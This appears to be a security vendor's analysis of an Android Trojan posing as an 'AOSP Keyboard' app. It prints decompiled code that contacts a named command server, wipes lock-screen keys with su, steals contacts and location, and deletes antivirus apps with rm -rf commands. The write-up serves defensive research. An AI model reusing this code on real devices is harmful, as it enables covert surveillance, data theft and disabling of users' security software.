A Trojan Disguised as a Keyboard App
A Trojan disguised as a keyboard app performs various operations on a user’s device
Trustlook Labs discovered a Trojan taking advantage of the “su” command in a rooted Android device to perform malicious activities. The Trojan makes its way on to a device as a fake keyboard app named “AOSP keyboard.” Once the user executes the app, the malware removes its own icon from the user’s device.
The malware has the following characteristics:
- MD5:
- SHA256: 92bddb85ec6e94fc9dd4a0f62ec5a1fc7637c75f55e5b7507b74d29ecac065d5
- Size: 275621 bytes
- App name: AOSP Keyboard
- Package name: com.android.classic
The package icon is:
public boolean isOnline() {
NetworkInfo netInfo = ((ConnectivityManager) getSystemService("connectivity")).getActiveNetworkInfo();
if (netInfo == null || !netInfo.isConnected()) {
return false;
}
return true;
}
public int onStartCommand(Intent intent, int flags, int startId) {
try {
threadPolicy();
if (Constants.DEBUG) {
SH.run("echo 'started Service' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
}
setupAll();
if (intent.getBooleanExtra("screen_state", false)) {
screenOff();
} else {
screenOn();
}
[...]
private void screenOn() throws InterruptedException {
if (Constants.DEBUG) {
SH.run("echo 'Screen On' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
}
doAll();
}
```
The malware first registers the device to the remote server:
private void checkDevice() {
if (Constants.DEBUG) {
SH.run("echo 'check Device' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
}
new AsyncTask<Void, Void, Void>() {
protected Void doInBackground(Void... params) {
HttpClient httpClient = new DefaultHttpClient();
String man2 = Build.MANUFACTURER.replaceAll("\\s+", "");
String rel = VERSION.RELEASE.replace("\\s+", "");
HttpPost httpPost = new HttpPost("http://www.asds.esy.es/androidcp/device/checkdevice");
BasicNameValuePair usernameBasicNameValuePair = new BasicNameValuePair("did", new StringBuilder(String.valueOf(man2)).append(rel).toString());
BasicNameValuePair usernameValuePair = new BasicNameValuePair("name", DEBUGSERVICE.name);
BasicNameValuePair numberValuePair = new BasicNameValuePair("number", DEBUGSERVICE.random);
List<NameValuePair> nameValuePairList = new ArrayList();
nameValuePairList.add(usernameBasicNameValuePair);
nameValuePairList.add(usernameValuePair);
nameValuePairList.add(numberValuePair);
try {
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairList));
try {
httpClient.execute(httpPost);
} catch (ClientProtocolException cpe) {
cpe.printStackTrace();
```
The malware then retrieves command instructions from the C&C server “http://www.asds.esy.es“:
private void checkCMD() {
if (Constants.DEBUG) {
SH.run("echo 'check CMD' > /sdcard/Android/data/SystemLogs/Logger/bootup.txt");
}
new AsyncTask<Void, Void, Void>() {
protected Void doInBackground(Void... params) {
HttpClient httpClient = new DefaultHttpClient();
String rel = VERSION.RELEASE.replace("\\s+", "");
String man2 = Build.MANUFACTURER.replaceAll("\\s+", "");
HttpPost httpPost = new HttpPost("http://www.asds.esy.es/androidcp/device/getcommand");
BasicNameValuePair usernameBasicNameValuePair = new BasicNameValuePair("did", new StringBuilder(String.valueOf(man2)).append(rel).toString());
BasicNameValuePair usernameValuePair = new BasicNameValuePair("name", DEBUGSERVICE.name);
BasicNameValuePair numberValuePair = new BasicNameValuePair("number", DEBUGSERVICE.random);
List<NameValuePair> nameValuePairList = new ArrayList();
nameValuePairList.add(usernameBasicNameValuePair);
nameValuePairList.add(usernameValuePair);
nameValuePairList.add(numberValuePair);
try {
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairList));
try {
String response = DEBUGSERVICE.this.entityToString(httpClient.execute(httpPost).getEntity()).trim();
for (String element : DEBUGSERVICE.codeList) {
Intent intent;
if (element.contains(response)) {
intent = new Intent(DEBUGSERVICE.this, DEBUG.class);
intent.putExtra("command", response);
intent.addFlags(268435456);
DEBUGSERVICE.this.startActivity(intent);
return null;
}
intent = new Intent(DEBUGSERVICE.this, Response.class);
intent.putExtra("command", response);
intent.addFlags(268435456);
DEBUGSERVICE.this.startActivity(intent);
}
[...]
The following are some commands supported by the malware:
- wipe device
- wipe external storage
- remove screen lock patterns/pins/codes
- install apk
- take screen snapshot
- get list of packages
- record audio
- take picture from back camera
- take picture from front camera
- send file
- disable adb on the device
- get contacts
- get SMS
- get call logs
- get browser bookmarks
- get location information
- delete Antivirus products
The following code snippets are used to remove the screen lock patterns. The malware utilizes the “su” commands on the rooted device:
SU.run("mount -o rw, remount /data");
SU.run("mount -o rw, remount /data/system");
SU.run("mount -o rw, remount /data/system/gesture.key");
remount = Runtime.getRuntime().exec(new String[]{"su", "-c", "mount -o rw,remount '/data/'"});
remount1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "mount -o rw,remount /data/system/"});
pr1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "chmod 0777 /data/"});
pr2 = Runtime.getRuntime().exec(new String[]{"su", "-c", "chmod 0777 /data/system"});
Process unlock = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf /data/system/gesture.key"});
Process unlock1 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf /data/system/gatekeeper.password.key"});
Process unlock2 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf /data/system/gatekeeper.pattern.key"});
Process unlock3 = Runtime.getRuntime().exec(new String[]{"su", "-c", "rm -rf /data/system/*.key"});
remount.waitFor();
remount1.waitFor();
pr1.waitFor();
pr2.waitFor();
unlock.waitFor();
unlock1.waitFor();
unlock2.waitFor();
unlock3.waitFor();
SU.run("rm -rf /data/system/*.key");
SU.run("reboot");
```
The following code snippets are responsible for getting the contacts from the device:
String vfile = Build.MODEL + "_Contacts_" + date + ".vcf";
File file = new File(new StringBuilder(String.valueOf(Environment.getExternalStorageDirectory().getPath())).append("/Android/data/SystemLogs/Contacts/").toString());
file.mkdirs();
String path = file.getAbsolutePath() + "/" + vfile;
Cursor phones = getContentResolver().query(Phone.CONTENT_URI, null, null, null, null);
phones.moveToFirst();
for (int i = 0; i < phones.getCount(); i++) {
try {
AssetFileDescriptor fd = getContentResolver().openAssetFileDescriptor(Uri.withAppendedPath(Contacts.CONTENT_VCARD_URI, phones.getString(phones.getColumnIndex("lookup"))), "r");
byte[] buf = new byte[((int) fd.getDeclaredLength())];
fd.createInputStream().read(buf);
String str = new String(buf);
new FileOutputStream(path, true).write(str.toString().getBytes());
phones.moveToNext();
} catch (Exception e1) {
e1.printStackTrace();
}
}
```
The malware uses the code shown below to delete any antivirus products:
} else if (this.commands.equals(DEBUGSERVICE.codeList[38])) {
SU.run("mount -o rw, remount /data");
SU.run("mount -o rw, remount /data/app");
SU.run("mount -o rw,remount '/data/'");
SU.run("mount -o rw,remount '/data/app/'");
SU.run("chmod 0777 '/data/'");
SU.run("chmod 0777 '/data/app/'");
SU.run("rm -rf /data/app/com.cleanmaster.mguard*");
SU.run("rm -rf /data/app/com.avast.android.mobilesecurity*");
SU.run("rm -rf /data/app/com.qihoo.security*");
SU.run("rm -rf /data/app/com.cleanmaster.security*");
SU.run("rm -rf /data/app/com.zrgiu.antivirus*");
SU.run("rm -rf /data/app/com.avira.android*");
SU.run("rm -rf /data/app/com.symantec.mobilesecurity*");
SU.run("rm -rf /data/app/com.wsandroid.suite*");
SU.run("rm -rf /data/app/com.eset.ems2.gp*");
SU.run("rm -rf /data/app/com.quickheal.platform*");
SU.run("rm -rf /data/app/com.kms.free*");
SU.run("rm -rf /data/app/com.cmsecurity.lite*");
SU.run("rm -rf /data/app/com.k7computing.android.security*");
SU.run("rm -rf /data/app/org.antivirus*");
SU.run("rm -rf /data/app/com.androhelm.antivirus.free2*");
SU.run("rm -rf /data/app/com.lookout*");
SU.run("rm -rf /data/app/org.malwarebytes.antimalware*");
SU.run("rm -rf /data/app/com.cleanmaster.security.stubborntrjkiller*");
SU.run("rm -rf /data/app/com.bitdefender.antivirus*");
SU.run("rm -rf /data/app/com.cmcm.lite*");
The malware uses the following function to get location information:
public Location getLocation() {
try {
this.locationManager = (LocationManager) this.mContext.getSystemService("location");
this.isGPSEnabled = this.locationManager.isProviderEnabled("gps");
this.isNetworkEnabled = this.locationManager.isProviderEnabled("network");
Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE");
intent.putExtra("enabled", true);
sendBroadcast(intent);
if (this.isGPSEnabled || this.isNetworkEnabled) {
this.canGetLocation = true;
if (this.isNetworkEnabled) {
this.locationManager.requestLocationUpdates("network", MIN_TIME_BW_UPDATES, 10.0f, this);
if (this.locationManager != null) {
this.location = this.locationManager.getLastKnownLocation("network");
if (this.location != null) {
this.latitude = this.location.getLatitude();
this.longitude = this.location.getLongitude();
}
}
}
if (this.isGPSEnabled && this.location == null) {
this.locationManager.requestLocationUpdates("gps", MIN_TIME_BW_UPDATES, 10.0f, this);
if (this.locationManager != null) {
this.location = this.locationManager.getLastKnownLocation("gps");
if (this.location != null) {
this.latitude = this.location.getLatitude();
this.longitude = this.location.getLongitude();
}
}
}
String finalOutput = this.latitude + "|" + this.longitude;
new Sender().execute(new String[]{"gps", DEBUGSERVICE.name, DEBUGSERVICE.random, finalOutput});
}
```
Summary
“Rooting” a device can be very dangerous. It gives user administrative access to the device, which presents obvious drawbacks. First, you void the manufacturer warranty for the device. Second, permission and freedom are increased for malware.
Trustlook was able to gather deep insights and knowledge of the malware behavior of this keyboard app. Trustlook’s anti-threat platform can effectively protect users against this invasion.